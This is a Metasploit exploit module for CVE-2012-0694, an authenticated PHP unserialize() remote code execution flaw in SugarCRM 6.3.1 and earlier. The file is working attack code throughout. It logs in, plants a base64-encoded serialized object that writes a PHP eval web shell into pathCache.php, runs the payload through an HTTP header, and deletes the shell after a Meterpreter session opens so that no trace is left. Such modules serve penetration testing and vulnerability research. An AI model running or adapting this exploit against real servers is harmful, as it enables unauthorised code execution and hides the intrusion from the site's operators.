##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'SugarCRM unserialize() PHP Code Execution',
      'Description'    => %q{
          This module exploits a php unserialize() vulnerability in SugarCRM <= 6.3.1
        which could be abused to allow authenticated SugarCRM users to execute arbitrary
        code with the permissions of the webserver.

        The dangerous unserialize() exists in the 'include/MVC/View/views/view.list.php'
        script, which is called with user controlled data from the 'current_query_by_page'
        parameter. The exploit abuses the __destruct() method from the SugarTheme class
        to write arbitrary PHP code to a 'pathCache.php' on the web root.
      },
      'Author'	=>
        [
          'EgiX', # Vulnerability discovery and PoC
          'juan vazquez', # Metasploit module
          'sinn3r' # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2012-0694' ],
          [ 'OSVDB', '83361' ],
          [ 'EDB', '19381' ],
          [ 'URL', 'http://www.sugarcrm.com/forums/f22/critical-security-vulnerability-76537/' ]
        ],
      'Privileged'     => false,
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Payload'        =>
        {
          'DisableNops' => true,
        },
      'Targets'        => [ ['Automatic', { }], ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jun 23 2012'
      ))

      register_options(
        [
          OptString.new('TARGETURI',	[ true, "The base path to the web application", "/sugarcrm/"]),
          OptString.new('USERNAME', [true, "The username to authenticate with" ]),
          OptString.new('PASSWORD', [true, "The password to authenticate with" ])
        ])
  end


  def on_new_session(client)
    if client.type == "meterpreter"
      f = "pathCache.php"
      client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
      begin
        print_warning("Deleting #{f}")
        client.fs.file.rm(f)
        print_good("#{f} removed to stay ninja")
      rescue
        print_warning("Unable to remove #{f}")
      end
    end
  end

  def exploit
    base = normalize_uri(target_uri.path)

    username = datastore['USERNAME']
    password = datastore['PASSWORD']

    # Can't use vars_post because it'll escape "_"
    data = "module=Users&"
    data << "action=Authenticate&"
    data << "user_name=#{username}&"
    data << "user_password=#{password}"

    res = send_request_cgi(
    {
      'uri'    => normalize_uri(base, "index.php") ,
      'method' => "POST",
      'headers'   =>
        {
          'Cookie'  => "PHPSESSID=1",
        },
      'data'   => data
    })
    if res.nil? || (res.headers['Location'] && res.headers['Location'].include?('action=Login')) || res.get_cookies.empty?
      fail_with(Failure::NoAccess, "#{peer} - Login failed with \"#{username}:#{password}\"")
    end

    if res.get_cookies =~ /PHPSESSID=([A-Za-z0-9]*); path/
      session_id = $1
    elsif res.get_cookies =~ /PHPSESSID=([A-Za-z0-9]*);/
      session_id = $1
    else
      fail_with(Failure::NoAccess, "#{peer} - Login failed with \"#{username}:#{password}\" (No session ID)")
    end

    print_status("Login successful with #{username}:#{password}")

    data = "module=Contacts&"
    data << "Contacts2_CONTACT_offset=1&"
    data << "current_query_by_page="
    #O:10:"SugarTheme":2:{s:10:"*dirName";s:5:"../..";s:20:"SugarTheme_jsCache";s:49:"<?php eval(base64_decode($_SERVER[HTTP_CMD])); ?>";}
    data << "TzoxMDoiU3VnYXJUaGVtZSI6Mjp7czoxMDoiACoAZGlyTmFtZSI7czo1OiIuLi8uLiI7czoyMDoiAFN1Z2FyVGhlbWUAX2pzQ2FjaGUiO3M6NDk6Ijw/cGhwIGV2YWwoYmFzZTY0X2RlY29kZSgkX1NFUlZFUltIVFRQX0NNRF0pKTsgPz4iO30="

    print_status("Exploiting the unserialize()")

    res = send_request_cgi(
    {
      'uri' => "#{base}index.php",
      'method' => 'POST',
      'headers'   =>
      {
        'Cookie'  => "PHPSESSID=#{session_id};",
      },
      'data' => data
    })

    unless res && res.code == 200
      fail_with(Failure::Unknown, "#{peer} - Exploit failed: #{res.code}")
    end

    print_status("Executing the payload")

    res = send_request_cgi(
    {
      'method' => 'GET',
      'uri'    => "#{base}pathCache.php",
      'headers' => {
        'Cmd' => Rex::Text.encode_base64(payload.encoded)
      }
    })
  end
end

